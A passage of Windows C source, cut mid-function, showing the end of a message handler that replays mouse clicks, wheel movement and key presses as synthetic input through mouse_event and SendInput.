mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0,
GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN: {
INPUT input = { 0 };
input.type = INPUT_KEYBOARD;
input.ki.wVk = (WORD)Msg->wParam;
input.ki.wScan = MapVirtualKey(Msg->wParam, 0);
input.ki.dwFlags = 0;
SendInput(1, &input, sizeof(INPUT));
break;
}
case WM_KEYUP:
case WM_SYSKEYUP: {
INPUT input = { 0 };
input.type = INPUT_KEYBOARD;
input.ki.wVk = (WORD)Msg->wParam;
input.ki.wScan = MapVirtualKey(Msg->wParam, 0);
input.ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(1, &input, sizeof(INPUT));
break;
}
default:
break;
}
}
}